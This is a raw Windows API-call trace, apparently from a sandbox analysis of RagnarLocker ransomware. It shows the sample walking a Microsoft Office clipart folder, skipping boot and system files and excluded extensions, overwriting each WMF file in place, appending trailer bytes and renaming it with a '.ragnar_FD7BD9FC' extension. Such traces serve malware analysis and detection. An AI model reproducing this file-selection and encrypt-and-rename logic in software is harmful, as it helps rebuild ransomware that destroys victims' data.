[0086.080] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.080] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf")) returned 0x20 [0086.080] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.080] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2652) returned 1 [0086.080] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa53, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.080] GetProcessHeap () returned 0x580000 [0086.080] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.080] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.082] VirtualAlloc (lpAddress=0x0, dwSize=0xa5c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.082] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.082] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.082] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa5c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa5c, lpOverlapped=0x0) returned 1 [0086.082] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.082] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa5c, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.082] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa5c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa5c, lpOverlapped=0x0) returned 1 [0086.082] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa5c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.082] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.082] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.082] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.082] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.083] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.083] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.083] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.083] GetProcessHeap () returned 0x580000 [0086.083] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.083] CloseHandle (hObject=0xf4) returned 1 [0086.083] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" [0086.083] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.ragnar_FD7BD9FC" [0086.083] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.084] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0213449.WMF", cAlternateFileName="")) returned 1 [0086.084] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.084] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0213449.WMF" | out: lpString1="J0213449.WMF") returned="J0213449.WMF" [0086.084] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned=".WMF" [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="autorun.inf") returned 1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="boot.ini") returned 1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="bootfont.bin") returned 1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="bootsect.bak") returned 1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="bootmgr") returned 1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="bootmgr.efi") returned 1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="bootmgfw.efi") returned 1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="desktop.ini") returned 1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="iconcache.db") returned 1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="ntldr") returned -1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="ntuser.dat") returned -1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="ntuser.dat.log") returned -1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="ntuser.ini") returned -1 [0086.084] lstrcmpiW (lpString1="J0213449.WMF", lpString2="thumbs.db") returned -1 [0086.084] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.084] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.084] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.084] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.084] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.084] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.084] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf")) returned 0x20 [0086.084] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.085] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3840) returned 1 [0086.085] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xef7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.085] GetProcessHeap () returned 0x580000 [0086.085] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.085] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.086] VirtualAlloc (lpAddress=0x0, dwSize=0xf00, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.086] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.086] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.086] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf00, lpOverlapped=0x0) returned 1 [0086.087] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.087] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf00, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.087] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf00, lpOverlapped=0x0) returned 1 [0086.087] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.087] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.087] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.087] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.087] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.087] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.087] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.088] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.088] GetProcessHeap () returned 0x580000 [0086.088] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.088] CloseHandle (hObject=0xf4) returned 1 [0086.088] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" [0086.088] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.ragnar_FD7BD9FC" [0086.088] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.088] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7cb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214934.WMF", cAlternateFileName="")) returned 1 [0086.088] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.088] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0214934.WMF" | out: lpString1="J0214934.WMF") returned="J0214934.WMF" [0086.089] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned=".WMF" [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="autorun.inf") returned 1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="boot.ini") returned 1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="bootfont.bin") returned 1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="bootsect.bak") returned 1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="bootmgr") returned 1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="bootmgr.efi") returned 1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="bootmgfw.efi") returned 1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="desktop.ini") returned 1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="iconcache.db") returned 1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="ntldr") returned -1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="ntuser.dat") returned -1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="ntuser.dat.log") returned -1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="ntuser.ini") returned -1 [0086.089] lstrcmpiW (lpString1="J0214934.WMF", lpString2="thumbs.db") returned -1 [0086.089] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.089] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.089] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.089] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.089] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.089] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.089] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf")) returned 0x20 [0086.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.090] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31926) returned 1 [0086.090] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.090] GetProcessHeap () returned 0x580000 [0086.090] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.090] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.091] VirtualAlloc (lpAddress=0x0, dwSize=0x7cb6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.092] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.092] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.092] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7cb6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7cb6, lpOverlapped=0x0) returned 1 [0086.093] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.093] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7cb6, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.093] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7cb6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7cb6, lpOverlapped=0x0) returned 1 [0086.094] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7cb6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.094] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.094] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.094] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.094] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.094] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.094] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.094] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.094] GetProcessHeap () returned 0x580000 [0086.094] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.094] CloseHandle (hObject=0xf4) returned 1 [0086.094] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" [0086.094] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.ragnar_FD7BD9FC" [0086.095] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.095] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaefa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0214948.WMF", cAlternateFileName="")) returned 1 [0086.095] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.095] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0214948.WMF" | out: lpString1="J0214948.WMF") returned="J0214948.WMF" [0086.095] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF") returned=".WMF" [0086.095] lstrcmpiW (lpString1="J0214948.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.095] lstrcmpiW (lpString1="J0214948.WMF", lpString2="autorun.inf") returned 1 [0086.095] lstrcmpiW (lpString1="J0214948.WMF", lpString2="boot.ini") returned 1 [0086.095] lstrcmpiW (lpString1="J0214948.WMF", lpString2="bootfont.bin") returned 1 [0086.095] lstrcmpiW (lpString1="J0214948.WMF", lpString2="bootsect.bak") returned 1 [0086.095] lstrcmpiW (lpString1="J0214948.WMF", lpString2="bootmgr") returned 1 [0086.095] lstrcmpiW (lpString1="J0214948.WMF", lpString2="bootmgr.efi") returned 1 [0086.095] lstrcmpiW (lpString1="J0214948.WMF", lpString2="bootmgfw.efi") returned 1 [0086.095] lstrcmpiW (lpString1="J0214948.WMF", lpString2="desktop.ini") returned 1 [0086.095] lstrcmpiW (lpString1="J0214948.WMF", lpString2="iconcache.db") returned 1 [0086.095] lstrcmpiW (lpString1="J0214948.WMF", lpString2="ntldr") returned -1 [0086.095] lstrcmpiW (lpString1="J0214948.WMF", lpString2="ntuser.dat") returned -1 [0086.096] lstrcmpiW (lpString1="J0214948.WMF", lpString2="ntuser.dat.log") returned -1 [0086.096] lstrcmpiW (lpString1="J0214948.WMF", lpString2="ntuser.ini") returned -1 [0086.096] lstrcmpiW (lpString1="J0214948.WMF", lpString2="thumbs.db") returned -1 [0086.096] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.096] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.096] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.096] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.096] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.096] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.096] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.096] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf")) returned 0x20 [0086.097] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214948.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214948.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.097] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=44794) returned 1 [0086.097] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xaef1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.097] GetProcessHeap () returned 0x580000 